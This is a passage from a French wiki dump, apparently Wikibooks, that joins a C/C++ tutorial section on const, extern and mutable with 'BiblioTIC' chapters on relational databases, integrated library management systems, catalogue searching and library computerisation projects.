pas valide pour les variables définies avec le mot clé ''const''. Ces variables sont automatiquement déclarées ''static'' par le compilateur, ce qui signifie qu'elles ne sont accessibles que dans le fichier dans lequel elles ont été déclarées. Pour les rendre accessibles aux autres fichiers, il faut impérativement les déclarer avec le mot clé ''extern'' avant de les définir. === Exemple - Déclaration de constante externes === <pre> <nowiki> int i = 12; /* i est accessible de tous les fichiers. */ const int j = 11; /* Synonyme de "static const int j = 11;". */ extern const int k; /* Déclare d'abord la variable k... */ const int k = 12; /* puis donne la définition. */ </nowiki> </pre> Notez que toutes les variables définies avec le mot clé ''const'' doivent être initialisées lors de leur définition. En effet, on ne peut pas modifier la valeur des variables const, elles doivent donc avoir une valeur initiale. Enfin, les variables statiques non initialisées prennent la valeur nulle. Les mots clés ''const'' et ''volatile'' demandent au compilateur de réaliser des vérifications additionnelles lors de l'emploi des variables qui ont ces classes de stockage. En effet, le C/C++ assure qu'il est interdit de modifier (du moins sans magouiller) une variable de classe de stockage ''const'', et il assure également que toutes les références à une variable de classe de stockage ''volatile'' se feront sans optimisations dangereuses. Ces vérifications sont basées sur le type des variables manipulées. Dans le cas des types de base, ces vérifications sont simples et de compréhension immédiate. Ainsi, les lignes de code suivantes : const int i=3; int j=2; i=j; /* Illégal : i est de type const int. */ génèrent une erreur parce qu'on ne peut pas affecter une valeur de type int à une variable de type const int. En revanche, pour les types complexes (pointeurs et références en particulier), les mécanismes de vérifications sont plus fins. Nous verrons quels sont les problèmes soulevés par l'emploi des mots clés ''const'' et ''volatile'' avec les pointeurs et les références dans le chapitre traitant des pointeurs. Enfin, en C++ uniquement, le mot clé ''mutable'' permet de rendre un champ de structure ''const'' accessible en écriture : === Exemple - Utilisation du mot clé mutable === <pre> <nowiki> struct A { int i; // Non modifiable si A est const. mutable int j; // Toujours modifiable. }; const A a={1, 1}; // i et j valent 1. int main(void) { a.i=2; // ERREUR ! a est de type const A ! a.j=2; // Correct : j est mutable. return 0; } </nowiki> </pre> Les systèmes de gestion de bases de données relationnels 2963 14508 2005-03-23T09:27:41Z Philippe Allard 245 Nouveau chapitre de BiblioTIC * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- === Définitions === Une base de données (BD ou BDD, en anglais data base ou DB) est une collection de données cohérentes et stockées de manière structurée (note : quel que soit le nombre de ces données). Alors que les données sont de plus en plus nombreuses, une base de données permet de mettre des données à la disposition d'utilisateurs pour une consultation, une saisie ou bien une mise à jour, tout en s'assurant des droits accordées à chacun des utilisateurs. La notion de base de données est souvent (mais ce n'est pas obligatoire) liée à celle de réseau dans la mesure où celle-ci peut être utilisée par des utilisateurs différents qui accèdent à des informations communes. Une BD peut cependant être locale (utilisable sur une machine par un utilisateur) ou répartie (les informations sont stockées sur des machines distantes et accessibles par réseau). Dans toute entreprise, on est souvent amené à manipuler des données ayant la même structure (par exemple, la liste des membres du personnel ou la liste des lecteurs dans une bibliothèque) et qui sont gérées par des moyens informatiques. Un système de gestion de bases de données (SGBD ou, en anglais, DBMS pour database management system) est un ensemble de programmes qui permettent à des utilisateurs de créer et maintenir une base de données. Les activités supportées sont : * la définition d'une base de données (spécification des types de données à stocker); * la construction d'une base de données (stockage des données proprement dites); * la manipulation des données (principalement : ajouter, supprimer, retrouver des données). Autrement dit : un système de gestion de base de données (SGBD) est un logiciel (ou plusieurs) assurant la structuration, le stockage, la maintenance, la mise à jour et la consultation des données d'une base de données. Un modèle de données est un ensemble de concepts permettant de décrire la structure d'une base de données. Le modèle le plus utilisé est le modèle relationnel. Historiquement jusque dans les années 60, les données étaient organisées classiquement en fichiers. Les premiers SGBD sont apparus à la fin des années 60 et c'est à partir de 1970 que sont apparus les systèmes relationnels. === Les fonctionnalités des SGBD === # Contrôler la redondance d'informations : la SGBD doit pouvoir éviter, dans la mesure du possible, des informations redondantes afin d'éviter un gaspillage d'espace mémoire et des erreurs. # Assurer le partage des données (partageabilité) : une base de données doit permettre à plusieurs utilisateurs d'accéder à la même information en même temps. La SGBD doit inclure un mécanisme de contrôle de la concurrence, basé sur des techniques de verrouillage des données (par exemple pour éviter qu'on ne lise une information qui est en cours de mise à jour) # Vérifier l'intégrité des données : celles-ci doivent être cohérentes entre elles. Lorsque des éléments font référence à d'autres, ceux-ci doivent être présents. Les données doivent être cohérents (par exemple, l'âge d'une personne est défini par un nombre entier positif) # Assurer l'indépendance physique : un remaniement de l'organisation physique des données n'entraîne pas de modification dans les programmes d'application # Assurer l'indépendance logique : un remaniement de l'organisation logique des fichiers (par exemple la création d'une nouvelle rubrique) n'entraîne pas de modification dans les programmes d'application non concernés # Gérer les autorisations d'accès pour assurer la sécurité des données : une BD étant multi-utilisateurs, le problème de la confidentialité des données se trouve posé. Des droits (pour la création, la lecture, la mise à jour,…) doivent être accordés # Offrir des interfaces d'accès multiples : la SGBD doit offrir plusieurs interfaces d'accès en fonction des types d'utilisateurs (utilisateur final, programmeur d'application) # Assurer la sécurité et la reprise après la panne (pour éviter les pannes disques, les SGBD s'appuient sur un mécanisme de journalisation qui permet de régénérer une base de données automatiquement à partir d'une version de sauvegarde et du journal des mouvements). Un SGBD doit être manipulable c'est-à-dire qu'une personne qui ne connaît pas la base de donnée doit pouvoir effectuer une recherche sans faire référence à des éléments techniques de la BD. La BD doit pouvoir évoluer physiquement et logiquement sans que cela ne gêne les utilisateurs. L'accès à l'information (tenant compte du débit c'est-à-dire du nombre de transactions par secondes et du temps de réponse c'est-à-dire le temps d'attente moyen pour une transaction) doit être fourni rapidement. === Le modèle relationnel === Dans un système de gestion de bases de données relationnelles (SGBDR), les données sont enregistrées dans des tableaux (tables), sans préjuger de la façon dont les informations sont stockées dans la machine. Ces tables sont à deux dimensions : lignes et colonnes. Une ligne est également appelée enregistrement. Toutes les données d'une même colonne (champ) sont du même type. <table border=1> <tr> <th>Nom</th> <th>Prénom</th> <th>Sexe</th> <th>Adresse</th> <th>Code postal</th> <th>Ville</th> </tr> <td>Adam</td> <td>Pierre</td> <td>M</td> <td>1 Impasse du Pavé</td> <td>1000</td> <td>Bruxelles</td><tr> <td>Eve</td> <td>Pierrette</td> <td>F</td> <td>25 boulevard de France</td> <td>7500</td> <td>Tournai</td></tr> </table> On parle de : * classes : groupe d'entités du monde réel ayant les mêmes caractéristiques et le même comportement (par exemple, la classe "CLIENT"); * attributs : propriétés de la classe (par exemple, les "Nom" et "Prénom" du client). Un identifiant caractérise de façon unique les instances d'une classe (par exemple, un numéro de client). Pour exploiter la BD, l'utilisateur doit pouvoir disposer d'une interface qui lui permet d'introduire une requête et de visualiser les données. Cet outil est un formulaire qui permet donc d'afficher, de saisir ou de sélectionner des données. Pour dialoguer avec les SGBD qui ne sont pas équipés d'un interface graphique, il faut recourir au langage SQL (Structured Query Langage). Les états permettent d'imprimer les données. === La création d'une base de données === Lorsqu'une base de données est en cours de création, une fenêtre s'ouvre et permet de définir la table, champ par champ en précisant le nom du champ et le type de données qu'il contient. * Texte. Le champ peut contenir n'importe quel caractère alphanumérique (chiffre, lettre, signe de ponctuation). Ce type de données est utilisé pour le texte, mais aussi pour les nombres sur lesquels on n'effectue pas de calculs (code postal, numéro de téléphone) (< 256 caractères) * Mémo. Le champ peut contenir n'importe quel caractère alphanumérique. Le type mémo est réservé aux champs de type texte susceptibles de contenir plus de 255 caractères (< 65.536 caractères) * Numérique. Données numériques (non monétaires) susceptibles d'être utilisées dans des opérations mathématiques (1 à 16 octets) * Date/heure. Données de date et/ou d'heure (pour les années comprises entre 100 et 9999) (8 octets) * Monétaire. Données monétaires, présentées avec deux chiffres après la virgule, et le symbole monétaire du pays (€ pour la France ou la Belgique)(8 octets) * Numéro Auto. Numérotation automatique, séquentielle (commençant à 1) ou aléatoire. Souvent utilisée pour générer le code des enregistrements (4 octets) (entier long) * Oui/non. Variable booléenne (deux valeurs possibles uniquement)(1 bit) * Objet OLE. Pour lier un objet extérieur, ou incorporer un objet dans la base. Souvent utilisé pour les données multimédia. Peut servir pour tout fichier binaire (document Word, feuille de calcul Excel, etc.)(< 1 Go) * Lien hypertexte. Permet d'enregistrer des URL de sites web et des adresses de courrier électronique Source : CERIG/EFPG La liste des propriétés d'un champ dépend du type de données choisi. Les principales propriétés sont : * taille du champ; * format : définit la manière dont les informations s'affichent (par exemple le format monétaire européen affiche deux chiffres après la virgule, puis un espace et le symbole de l'euro); * masque de saisie : guide la saisie des données et exerce un contrôle. (par exemple : un code postal belge est composé de 4 caractères, un code français de 5 caractères, dans les deux cas de chiffres uniquement; * valeur par défaut : valeur qui s'affiche dans le champ avant saisie par l'utilisateur; * valide si : condition de validité du champ (par exemple un chiffre compris entre 2 autres chiffres) * message si erreur : ce message s'affiche si la condition de validité précédente n'est pas satisfaite; * null interdit : le champ correspondant ne peut rester vide lors de la saisie d'un enregistrement; * chaîne vide autorisée : le champ peut contenir une chaîne ne comportant aucun caractère; * indexé : un fichier index est associé au champ de telle sorte que les recherches d'information s'effectuent plus rapidement. Les SGBD sont équipées d'un outil appelé liste (de choix) et qui permet d'éviter de saisir intégralement les mêmes données (par exemple, le nom d'une commune). Un SGBDR (de type Access par exemple) permet d'établir des relations entre tables. Par exemple entre fournisseurs et produits, entre clients et commandes. ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] --[[Utilisateur:Philippe Allard|Philippe Allard]] 23 mar 2005 à 09:27 (UTC) Les systèmes de gestion intégrée de bibliothèques 2964 40783 2006-04-23T14:29:59Z 213.44.175.251 /* Sites des éditeurs */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- Un logiciel de gestion de bibliothèque est un logiciel (note : un progiciel puisqu'à usage professionnel) permettant de gérer les documents d’une bibliothèque, leurs mouvements (entrées, prêts, circulation,...), d’en faire un traitement documentaire et d’automatiser les tâches annexes à leur gestion (gestion des lecteurs, gestion budgétaire, importation/exportation de notices, statistiques,...). === La bibliothèque a-t-elle (eu) ou non le choix du SIGB? === * non : le système était déjà installé ou la bibliothèque est intégrée dans un réseau plus large utilisant un SIGB particulier * choix : si une bibliothèque aujourd'hui a le choix de son SIGB, elle peut l'opérer en tenant compte de critères tels que : ** fonctionnalités du SIGB (intégrées ou en option comme le catalogage des non livres, le catalogage analytique c’est-à-dire avec description de parties de documents) ** coûts (tarifs : voir l'exemple de Socrate http://www.socrate.be/prixfr.htm) y compris ceux des mises à jour (upgrades) et des transferts de données ** assistance - service après-vente ** accès à des mises à jour (via Internet) ** facilités d’installation (par exemple, dans un environnement Windows), ** fonctionnement en réseau ** limite ou non du nombre d’utilisateurs ** puissance minimale pour les ordinateurs ** nombre de documents maximum ** nombre de lecteurs ** dimension des groupes (voir plus loin) ** nombre d’utilisateurs avec accès ** ergonomie ** références (par exemple http://www.socrate.be/reffr.htm) Dans le cas de la Belgique, les SIGB utilisés en Province de Hainaut (Vubis, Socrate, Adllib, Liber, Tobias ) ou ailleurs en Communauté française (il faut ajouter Antigone ou Sigal Sati) ne sont que quelques-uns des SIGB existants sur le marché. === Sites des éditeurs === * Absothèque ou Liber Média? (http://www.rii-diffusion.fr) * ADLiB (http://www.fr.adlibsoft.com) * Aloes (http://www.opsys.fr/pages/solution/solution.html) * Antigone (http://www.angelfire.com/biz/molinay/indexfr.html#Antigone) * Bibliothèque (gratuit)(http://bibliotheque.bgp-fr.com) * DB/Text pour Bibliothèque (http://www.tamil.fr/inmagic/dbt_bib.php) * Koha (logiciel libre) (http://demo.koha-fr.org) * Loris (http://www.ever-team.com/products/loris/loris1.html) * MoCCAM (logiciel libre) (http://server4.hosting.cri74.org/ccy2/) * Papyrus2000 (http://www.papyrus2000.com) * PMB (logiciel libre en français http://www.sigb.net) * REGARD (http://www.grics.qc.ca/fr/prodserv/produits/regard.stm) * Socrate (http://www.socrate.be) * Vubis (http://www.geac.com) === Les fonctionnalités importantes d’un SIGB === On peut aborder les SIGB à travers les opérations tournées vers le document ou vers le lecteur. Le SIGB peut aussi être étudié à travers les modules qui le composent : acquisitions, catalogage, autorités, périodiques, prêt, recherche. La bibliothèque doit introduire un certain nombre de paramètres qui lui sont propres : * le nombre de livres par lecteur (suivant l'âge du lecteur, le type de documents) * la durée du prêt (modulable en fonction du type de document) * le montant des amendes par document et par jour * le nombre de réservations possibles par lecteur * les différentes catégories de lecteurs. En ce qui concerne ce dernier paramètre, on insistera sur la nécessité de pouvoir créer autant de catégories de lecteurs que nécessaires : * bibliothèques (pour le prêt inter-bibliothèques) * écoles (pour des dépôts) * classes (pour des visites de classes avec prêts de livres) * relieurs (pour "bloquer" les livres à la reliure) * personnel (pour les bibliothécaires) * adultes * enfants * etc. ==== Module acquisitions ==== Le module de gestion des acquisitions permet de : * faciliter les ordres de commande (impression des lettres de commande); * contrôler les arrivées et les retards des documents commandés; * gérer les dépenses. (caractéristiques particulières : gestion des dons, du dépôt légal, échanges inter-bibliothèques, ordres permanents,...) Le module gère divers types de données : * données concernant les commandes : informations bibliographiques, codes des fournisseurs, comptes bancaires à débiter (éventuellement suggestions des lecteurs); * données (base ou module fournisseurs) concernant les fournisseurs : fichier d’adresses et informations administratives nécessaires au règlement comptable des fournisseurs (compte bancaire, ristourne,...); * données concernant les lecteurs (option si l’on souhaite intégrer les suggestions des lecteurs). Le système comptable des acquisitions permet la gestion de plusieurs comptes par filiales, départements, types de document, comprenant les attributions budgétaires, les sommes des paiements effectués, les sommes engagées (commandes ou abonnements en cours), les soldes disponibles. Dans un système simple, les données sont introduites pour chaque commande à un fournisseur (avec relation avec un compte budgétaire). Dans un système élaboré, les données bibliographiques introduites lors de la commande sont transférées au fichier catalographique qui effectue donc une reprise des notices catalographiques établies dans le module acquisition. Ces notices pourront être complétées. ==== Module catalogage ==== Un document doit d'abord faire l'objet d'une création avant de pouvoir être mis en prêt (aux lecteurs ou à d'autres bibliothèques). Les notices des documents peuvent être saisies à la bibliothèque ou être importées. Le standard UNIMARC permet de partager des notices entre des systèmes hétérogènes. Unimarc est un format informatique international des données bibliographiques permettant les échanges entre logiciels documentaires ou bases de données bibliographiques. Principalement défini par l'IFLA (International Federation of Library and Institutions), Unimarc est conforme à la norme ISO 2709 (format pour l'échange d'information). Les notices comprennent : * numéro (unique) * ISBN (International Standard Book Number : numéro international normalisé du livre (ISO 2108) : ce numéro permet d’identifier un titre ou une édition d’une monographie publiée par un éditeur déterminé * acquisition année/prix * code-barres * titre * auteur * cote : ensemble de symboles, lettres ou chiffres, permettant de localiser retrouver un document sur des rayonnages de bibliothèque * informations d’édition (par exemple nombre de pages, format, année - elles peuvent être en tout ou en partie identiques pour des documents d’une même collection) * commentaires (notes générales, résumé, mots matière ) * d'autres données (compléments d’informations sur le titre et les auteurs) ** titre original ** complément du titre ** titre de la collection ** n° dans la collection ** autres auteurs ** public : enfants adolescents - adultes - tous publics ** autre : nouveauté 3 types de données particulières utiles à la description des entités bibliographiques physiques : * données bibliographiques descriptives : données concernant le catalogage formel, respect du code de catalogage en vigueur dans la bibliothèque * données concernant l’analyse de contenu : grandes classifications systématiques encyclopédiques (Dewey, CDU) et informations concernant une indexation analytique (vedettes matières de Laval et dérivés comme Rameau ou encore thésaurus spécialisés) * données locales : informations sur l’exemplaire physique possédé par la bibliothèque (cote, n°d’inventaire, localisation, mode d’acquisition) Des notices peuvent être importées : * via des systèmes produits par des fournisseurs commerciaux de bibliographies (abonnements) - cédérom Electre, Livres Hebdo, Bookmark, Biblio File; * réservoirs de notices catalographiques exemple : les notices de la Bibliothèque Nationale de France; * échanges entre bibliothèques. ==== Module prêts ==== Ce module est associé au module lecteurs (emprunteurs) et permet de gérer le prêt des documents, l'historique des prêts et les statistiques. Comment prêter un document? Il faut sélectionner le lecteur (qui doit exister préalablement) par : * son nom ou le début de son nom * son numéro d’identification * un des numéros de document qu’il a déjà en prêt Peuvent alors apparaître des indications telles que retard de cotisation, document en retard, document réservé ou message divers. La sélection d’un lecteur permet d’effectuer des emprunts (emprunt), des retours de document (retour) ou encore des prolongations de documents en prêt (prolongations). Si un document est emprunté, un lecteur peut le réserver. La disponibilité du document sera signalée. Il en va de même en cas de tentative de prêt de ce document à un autre lecteur. Un document peut être réservé par plusieurs lecteurs. Il est nécessaire que le logiciel permette au bibliothécaire de paramétrer un certains nombres de critères : * nombre de réservations possibles par lecteur * nombre de réservations possibles pour un document (pour éviter de trop longues "files d'attente") * nombre de jours pendant lesquels le document est "bloqué" pour le lecteur exemple : le lecteur a 10 jours pour venir emprunter le livre qu'il avait réservé et qui est à sa disposition. Au-delà de ce délai, le livre est remis en circulation ou passe en réservation pour un autre lecteur. ==== Module lecteurs (emprunteurs) ==== Fiche lecteur : * numéro (unique) * nom * prénom * adresse * n° tél. * e-mail * année de naissance * M/F * code-barres * groupe ((famille, classe) * “cotisation” : date Ce module permet donc la saisie des fiches des lecteurs (avec une gestion des groupes de lecteurs) et permet de vérifier pour chaque lecteur : * les documents en prêt; * les documents réservés; * le retard de cotisation; * les documents en retard. Le module permet la recherche (par exemple en introduisant les premières lettres d’un nom). ==== Module autorités ==== Il s'agit d'un développement récent dans le domaine des bibliothèques informatisées avec un répertoire des formes normalisées des vedettes alphabétiques et matières, avec systèmes de renvois et de notes (normalisation du classement et de l’accès aux notices) L’efficacité dépend des filtres mis en place dans l’entrée des nouvelles notices par comparaison avec les données déjà encodées (propositions des vedettes retenues et processus de validation sécurisée des vedettes = limitation des variantes orthographiques) Un fichier d'autorité est établi pour : * normaliser la forme des points d'accès auteurs (personnes physiques et collectivités), titres uniformes et matières des notices bibliographiques; * retrouver toute la production d’un auteur ou toutes les éditions d’une même œuvre quelle que soit la forme du nom ou la variante de titre apparaissant sur les documents; * identifier sans ambiguïté l’entité décrite. ==== Module périodiques ==== Le module périodiques permet le contrôle des publications en série reçues par la bibliothèque. Il permet : * la gestion des abonnements : initialisation d’un abonnement, d’une commande, d’un ordre permanent, renouvellements, mise à jour de la comptabilité (changements de prix); * le bulletinage c’est-à-dire le contrôle de la réception de tous les numéros d’un périodique, d’une série ou d’une collection; * la gestion des reliures : indique qu’une série est complète, rappel au relieur, traitement des index. ==== Module recherche ==== La recherche multicritères permet de rechercher des documents par un ou plusieurs mots (ou parties de mot) dans un ou plusieurs blocs de la notice du document. Voir également ci-dessous. Recherche documentaire OPAC : l'Open Public Access Catalogue (accès public au catalogue en ligne) est un interface de consultation publique, autrement dit un poste de consultation du catalogue de la bibliothèque. Il permet au lecteur d'effecteur une recherche documentaire à son rythme, à sa convenance et sans risque pour les données. Dans le cadre d'un usage public (verrouillage en seul mode “recherche documentaire”), la recherche peut s'effectuer selon divers modes (selon le logiciel) : * recherche sur texte libre (par exemple un résumé); * opérateurs booléens (ET, OU, SAUF); * opérateurs mathématiques (>, >, =) * dates; * opérateurs de proximité (distance entre 2 termes); * troncature (à gauche, à droite ou au milieu) pour obtenir tous les documents comprenant la chaîne de caractères avant troncature Ce catalogue peut éventuellement être accessible via le web (cf. Socrate et bibliothèque de Morlanwelz : http://194.78.176.26/). Certains OPAC permettent également au lecteur de consulter sa fiche lecteur, de poser des réservations et des suggestions d'achat. ==== Historique ==== Pour un livre, les derniers lecteurs. Pour un lecteur, les derniers documents empruntés. L'historique n'est pas activé dans toutes les bibliothèques pour des raisons de déontologie et de discrétion (par rapport aux lectures de chacun). Dans d'autres bibliothèques, cette fonctionnalité est activée à la demande du lecteur qui souhaite se remémorer les ouvrages empruntés. ==== Codes-barres ==== Cette fonctionnalité permet la gestion des codes-barres pour les documents et les lecteurs. Pour rappel, un code-barres est une suite de caractères alphanumériques limitée à 20 caractères (identification unique). Attention : il existe plusieurs systèmes de codes-barres. Un code-barres peut être lu par un stylo à rayon infrarouge ou par un scanner à main (douchette ou mini-scanner). Il permet d'éviter les opérations d’encodage (diminution du temps de l’opération) pour les prêts comme pour les retours (lecteur/document). ==== Listes ==== Il s'agit de permettre l'exportation des données (fichiers et statistiques) sous forme de fichiers compatibles avec les principaux tableurs du marché (date à date) : * liste des documents; * liste des lecteurs; * fichier des données statistiques des prêts de documents. ==== Sauvegarde et restauration ==== Cette fonctionnalité permet la compression des données et la sauvegarde (de tout ou partie des fichiers) dans un fichier d’archive vers un support de sauvegarde. ==== Accès et paramètres ==== En vue d'assurer la protection des données contre les malveillances et maladresses éventuelles, l’accès à tout ou partie des données (lectures, insertion) est réservée aux utilisateurs disposant d’une identification (login) et d’un code d’accès ou mot de passe (password) valides. Un animateur général (administrateur) détermine les paramètres de la bibliothèque et de chacun des membres de l'équipe. Des restrictions d'accès peuvent donc exister au sein de l'équipe. L'administrateur gère donc des profils-utilisateurs (par exemple login uniquement pour les prêts) ==== Comptabilité ==== Cette fonctionnalité permet de gérer : * les acquisitions (commandes); * les cotisations annuelles; * les prêts; * les amendes; * les fournisseurs (coordonnées, remise). La compatibilité peut être ventilée par sections. ==== Courrier ==== Cette fonctionnalité permet de gérer le courrier relatif aux * commandes; * rappels pour retard ==== Aide en ligne ==== Il s'agit ici d'une assistance (helpdesk) pour assurer le bon fonctionnement du SIGB. === SGIB et cahier des charges === La bibliothèque qui souhaite se doter d'un système de gestion intégrée de bibliothèques devra procéder à un appel d'offres. Elle aura au préalable réalisé un cahier des charges en partant de ses besoins et attentes (étude préalable). Il est conseillé également de visiter des bibliothèques informatisées (voir les références des éditeurs et vendeurs de SGIB) et d'assister à des démonstrations. Pour rédiger son cahier des charges, on peut utilement s'inspirer de documents en ligne : * Cahier des charges pour l'informatisation d'une BM, Association des directeurs des bibliothèques départementales de prêt ** format HTML : http://www.adbdp.asso.fr/outils/infogestion/ccinfobds.htm ** format RTF : http://www.adbdp.asso.fr/rtf/ccinfobds.rtf * Informatisation de la bibliothèque : cahier des charges, Bibliothèque départementale ** format HTML : http://www.culture.cg44.fr/Bibliotheque/Outils/Equiper/cahierchargestype.html ** format DOC : http://www.culture.cg44.fr/Bibliotheque/Outils/Equiper/CahierChargesType.doc Un guide pour l'éboration d'un cahier des charges plus complexe est disponible sur le site web du Ministère français de la Culture (versions HTML et PDF). Exemple de réponse à un cahier des charges : * Cahier des charges pour l'informatisation d'une bibliothèque avec le logiciel BCDI 3 spécial : http://www.crdp-poitiers.cndp.fr/igdoc/bcdi3/Cahier-charges.PDF ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] L'informatique documentaire 2965 25347 2005-11-11T14:13:02Z 84.5.52.152 /* Conditions matérielles préalables */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- === Généralités === L'informatique documentaire correspond à la recherche de documents (livres, périodiques, articles de revues, disques, dias, cassettes, vidéocassettees, cédéroms) par la voie informatique * par interrogation en (ligne ("on line) auprès de banques de données extérieures à la bibliothèque; * par interrogation directe des bases de données (fichiers) disponibles dans l'ordinateur de la bibliothèque (les catalogues informatisés). Les recherches se déroulent le plus souvent en mode "menu" suivant un schéma hiérarchique et arborescent. Les accès ou entrées dans un catalogue doivent être multiples : * auteur * titre * sujet * indice systématique mais aussi * ISBN * collection * cote de rangement * mots ou associations de mots, parties de mot figurant dans l'ensemble de la notice catalographique (vedettes de la zone 1, vedettes (ou mots-clés) d'indexation, résumé éventuel) * genre === Conditions matérielles préalables === Pour une utilisation aisée du système par le lecteur : * la consultation par le public implique un nombre suffisant de terminaux mis à disposition * le confort de recherche est un élément qui amènera le lecteur à recourir à l'outil de recherche informatique (place assise, isolement des terminaux afin de préserver la confidentialité de la recherche, matériel pour écrire les renseignements obtenus) * un bref mais clair guide d'utilisation à côté de l'écran. === Exigences techniques === Pour une recherche documentaire efficace, * il faut une uniformatisation de l'orthographe, des abréviations usuelles, des ponctuations et espacements,… lors de l'encodage * le logiciel doit permettre une recherche tous azimuts et doit donc offrir de nombreuses clés de recherche (couplables ou non) par * auteur * titre * sujet * collection * indice systématique éventuellement par * genre * mot du résumé Note : un thésaurus est une liste de mots-clés ou de descripteurs propres à un domaine particulier. Avantage : pas de décodage comme pour la CDU (langage adéquat et précis). Inconvénients : d'ordre linguistique, absence de classification des concepts. * le logiciel doit en outre autoriser les recherches tronquées comme : début du nom de l'auteur, partie de titre, partie de vedette-sujet. * le logiciel doit permettre des recherches par association logique de mots figurant dans les différents fichiers accessibles, qui sont associés à chacune des clés de recherche, grâce aux opérateurs booléens ET, OU, SAUF. Une fois le (ou les) document(s) choisi(s), le lecteur doit pouvoir accéder à la notice complète, à la localisation du document et à sa disponibilité éventuelle (nombre d'exemplaires et date de retour des ouvrages) et, éventuellement, réserver (le(s) document(s). === Avantages du catalogue informatisé === Si les terminaux sont en nombre suffisant, bien dispersés dans la bibliothèque, ils permettent un accès plus aisé que le catalogue manuel. Il permet l'accès à un catalogue collectif en réseau. ---- * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] --[[Utilisateur:Philippe Allard|Philippe Allard]] 23 mar 2005 à 10:25 (UTC) L'informatisation des bibliothèques 2966 22910 2005-10-13T09:38:10Z 213.136.106.252 /* Analyse */ * Pour vous rendre à la table des matières générale de [[BiblioTIC : l'informatique et l'Internet au service des bibliothèques]] ---- === Objectifs === L'informatisation d'une bibliothèque doit : * libérer le personnel de tâches répétitives et fastidieuses (saisies de données bibliographiques, rappels, commandes, classement des notices) afin qu'il se consacre davantage à l'accueil, à l'information et à l'animation; * faciliter l'accès à l'information (suivant une approche multicritère) afin de satisfaire les besoins de tous ses lecteurs, et en accélérer la diffusion * permettre l'accès immédiat aux données dès leur encodage; * gérer au mieux la circulation de tous les documents (livres, périodiques, cédéroms, cassettes vidéos,…), leur localisation et leur disponibilité; * permettre une gestion optimale des budgets alloués à la bibliothèque (gestion des recettes et dépenses); * fournir les renseignements statistiques légaux; * assurer la confidentialité sur l'identité des lecteurs et sur les emprunts de document; * sauvegarder automatique les données (back up). Un système informatique de qualité doit présenter les qualités suivantes : * rapidité (temps de réponse); * convivialité (facilité d'emploi); * efficacité (réponse aux besoins des bibliothécaires et des lecteurs); * évolutivité (c'est-à-dire être en mesure de suivre le développement des collections et être modulable et paramétrable selon les besoins des utilisateurs); * sécurité (par rapport à l'accès à certains fichiers confidentialité, sauvegarde?); * fiabilité de fonctionnement (lecture des codes-barres, sécurité des autorités) * garantie de sérieux de la firme et garantie d'un service de maintenance performant (rapidité du dépannage, service d'aide en ligne). === Méthodologie === L'informatisation d'une bibliothèque est une opération qui nécessite une grande rigueur méthodologique. Elle nécessite le passage par plusieurs étapes. ==== Analyse ==== L'informatisation des bibliothèques ne consiste pas à une simple transposition du "parcours du livre". Le livre ne suit pas un parcours linéaire. L'informatique amène des changements fondamentaux dans l'organisation du travail. Il est important de cadrer l'organisation du travail existante pour déterminer la nouvelle organisation et sa gestion (notamment humaine). La décision d'informatiser une bibliothèque doit être consécutive à une prise de conscience des apports potentiels des TIC dans une bibliothèque : * amélioration des opérations techniques : acquisitions, prêts (rapidité et qualité) * maîtrise des coûts (habituellement, une bibliothèque méconnaît le coût unitaire d'opérations telles que le prêt, la catalographie, l'indexation) * apport de services nouveaux (Internet) * amélioration des services aux utilisateurs : vitesse de traitement, données plus complètes et consultation (OPAC), accès à des catalogues collectifs,… La décision d'informatisation de la bibliothèque doit intégrer une réflexion sur : * les modifications des procédures de travail * le changement des plans de classement * la réorganisation du travail au sein du personnel (réaffectation, travail en équipe, temps de formation). L'informatique est un outil. Elle ne peut pallier une mauvaise organisation. ==== Etude ==== L'informatisation ou réinformatisation d'une bibliothèque nécessite : # le choix d'une personne ressource : personne qui connaît le fonctionnement des bibliothèques et dispose d'une expérience des systèmes informatisés 2. l'établissement d'un plan directeur comprenant # les objectifs à long terme (constitution d'une banque de données, prêt simultané sur plusieurs postes, connexion à un réseau,…) # les moyens à disposition (locaux, budget, modes de subventionnement, modes d'achat, frais d'acquisition et de fonctionnement # la planification générale avec les étapes de l'information (échelonnement des opérations et des coûts) # le calcul du coût de l'informatisation comprenant : ** le coût de conception du projet en cas d'appel à un consultant ou service extérieur ** l'achat du matériel (serveur, terminaux, PC, imprimantes, modem,…) ** l'achat des logiciels (système d'exploitation, système de gestion intégrée de bibliothèque, logiciels de bureautique,…) ** le coût de la préparation du site (alimentation électrique, câblage en réseaux, protection contre le vol, postes de travail pour bibliothécaires et espaces de consultation informatique pour les lecteurs avec mobilier, éclairage?) ** le coût de la conversion/migration de la base de données ** l'achat de données pour la catalographie rétrospective ** les frais de fonctionnement soit les coûts opérationnels (fournitures, consommables) de maintenance (8 à 12% de la valeur du matériel installé, les mises à jour des outils informatiques, les frais de communication et de connexion (abonnements) ** la formation du personnel # des investissements soit ** un crédit extraordinaire ** un crédit-bail leasing qui permet de répartir la charge financière sur plusieurs exercices. ==== Sélection ==== Les fournisseurs potentiels devront être choisis entre : * des sociétés commerciales généralistes * des sociétés spécialisées qui proposent une gamme de produits plus restreinte mais spécialisée dans les applications documentaires ou bibliothéconomiques * des organismes (administration publique, université) ayant développé leur propre logiciel (note : cette option n'est généralement pas considérée comme la meilleure car peuvent se poser des problèmes lors du renouvellement de version ou lors d'échanges de données) Il est important de se pencher, autant que faire se peut, sur le sérieux de l'entreprise, sa viabilité, ses références. === Appel d'offres === L'appel d'offres est une obligation légale de mise en concurrence de fournisseurs. Cet appel d'offres doit faire l'objet d'une publication officielle et le choix définitif d'un fournisseur doit faire l'objet d'une adjudication administrative. Le cahier des charges exposant les besoins, demandes, contraintes de la bibliothèque doit comprendre : * des informations descriptives et quantitatives sur les collections, le bâtiment, le public cible, le personnel, le volume des transactions, la structure du réseau et la structure de la base de données de la bibliothèque; * des précisions sur les fonctionnalités informatiques que devra remplir le système pour le traitement des données et sur ses possibilités d'évolution. Les différents soumissionnaires doivent fournir une description détaillée de la configuration informatique proposée avec ses potentiels d'évolution 